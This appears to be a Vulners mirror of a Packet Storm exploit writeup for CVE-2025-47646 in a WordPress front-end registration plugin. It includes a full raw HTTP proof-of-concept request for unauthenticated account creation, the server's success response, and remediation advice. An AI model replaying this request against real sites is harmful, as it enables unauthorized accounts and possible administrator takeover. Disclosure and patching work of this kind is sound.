Lucene search
K

📄 WordPress PSW Front-end Login Registration 1.12 Privilege Escalation

🗓️ 19 May 2025 00:00:00Reported by NxploitedType 
packetstorm
 packetstorm
🔗 packetstorm.news👁 87 Views

CVE-2025-47646: PSW Front-end Login <=1.12 enables unauthenticated accounts and privilege escalation.

Related
Code
ReporterTitlePublishedViews
Family
ATTACKERKB
CVE-2025-47646
23 May 202513:15
attackerkb
Circl
CVE-2025-47646
20 May 202510:11
circl
CNNVD
WordPress plugin PSW Front-end Login & Registration 授权问题漏洞
23 May 202500:00
cnnvd
CVE
CVE-2025-47646
23 May 202512:43
cve
Cvelist
CVE-2025-47646 WordPress PSW Front-end Login & Registration plugin <= 1.13 - Broken Authentication Vulnerability
23 May 202512:43
cvelist
GithubExploit
Exploit for CVE-2025-47646
16 May 202505:44
githubexploit
GithubExploit
Exploit for CVE-2025-47646
20 May 202510:07
githubexploit
EUVD
EUVD-2025-28110
3 Oct 202520:07
euvd
Nuclei
PSW Front-end Login & Registration 1.13 - Weak Password Recovery
3 Jun 202606:04
nuclei
NVD
CVE-2025-47646
23 May 202513:15
nvd
Rows per page
# 🔐 CVE-2025-47646 – PSW Front-end Login & Registration <= 1.12
    
    ## 📌 Plugin Information
    - **Plugin**: PSW Front-end Login & Registration
    - **Vulnerable Version**: <= 1.12
    - **CVE**: CVE-2025-47646
    - **Severity**: High (CVSS 9.8)
    - **Vulnerability Type**: Broken Authentication
    - **Privilege Required**: Unauthenticated
    - **Patched**: ❌ No official fix available
    - **Patch Priority**: 🔴 High
    - **Date Published**: 08 May 2025
    
    ---
    
    ## ⚠️ Summary of the Vulnerability
    
    This plugin exposes a critical flaw in its registration mechanism.  
    While offering a shortcode-based front-end registration form (`[psw_registration]`), it fails to enforce proper role restrictions or secure validation.
    
    Attackers can exploit this mechanism to create accounts without authentication — and if the site's `default_role` is misconfigured (e.g., set to `administrator`), a full privilege escalation can occur.
    
    ---
    
    ## 🧪 Proof of Concept (PoC)
    
    ### ✅ **Target endpoint**:
    
    ```
    POST /wordpress/wp-admin/admin-ajax.php
    ```
    
    ### 📥 **Request** (e.g., via Burp Suite or curl):
    ```http
    POST /wp-admin/admin-ajax.php HTTP/1.1
    
    Host: {Host}
    
    User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:128.0) Gecko/20100101 Firefox/128.0
    
    Accept: */*
    
    Accept-Language: en-US,en;q=0.5
    
    Accept-Encoding: gzip, deflate, br
    
    Content-Type: application/x-www-form-urlencoded; charset=UTF-8
    
    X-Requested-With: XMLHttpRequest
    
    Content-Length: 233
    
    Origin: {Host}
    
    Connection: keep-alive
    
    Cookie:
    
    Priority: u=0
    
    
    
    first_name=nxploited&last_name=nxploited&new_user_name=nxpl3432oited&new_user_email=NxploitBot%40gmail.com&new_user_password=admin&new_user_password_confirmation=admin&action=register_user_front_end&psw_form=75a32ef38d
    ```
    
    > `psw_form` is the nonce field required for the request to pass.  
    > This nonce is dynamically generated from the `[psw_registration]` shortcode on the front-end.
    
    ---
    
    ### ✅ **Success Response**
    ```http
    HTTP/1.1 200 OK
    Content-Type: text/html; charset=UTF-8
    
    <h4>Hello nxploited nxploited</h4>
    <p>Thanks for creating an account on our website. Please check your email for activation link...</p>
    ```
    
    ---
    
    ## 🛠️ Where’s the flaw?
    
    - The plugin allows **unauthenticated AJAX access** to `register_user_front_end`
    - It **respects `default_role`** setting in WordPress to assign user roles
    - If this is misconfigured (`administrator`), the attacker gets full access
    - There is **no hard-coded role enforcement or validation** in the plugin logic
    
    ---
    
    ## 💬 Shortcode Explanation
    
    To expose the registration form and generate a valid nonce for `psw_form`, the following shortcode is used:
    
    ```php
    [psw_registration]
    ```
    
    This renders a registration form that includes the hidden nonce field necessary to make the AJAX call succeed.
    
    ---
    
    ## 🔐 Recommendation
    
    - Restrict unauthenticated AJAX registration
    - Enforce role assignments server-side
    - Monitor and lock `default_role` to a safe value (e.g., `subscriber`)
    - Apply virtual patching if no update is available
    
    ---
    
    ## ⚠️ Disclaimer
    
    This report is for **educational and authorized security testing purposes only**.  
    Exploitation of this vulnerability without permission may violate legal and ethical boundaries.
    
    ---
    
    *NXploited (Khaled_Alenazi)*

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

19 May 2025 00:00Current
7.6High risk
Vulners AI Score7.6
CVSS 3.19.8
EPSS0.07211
SSVC
87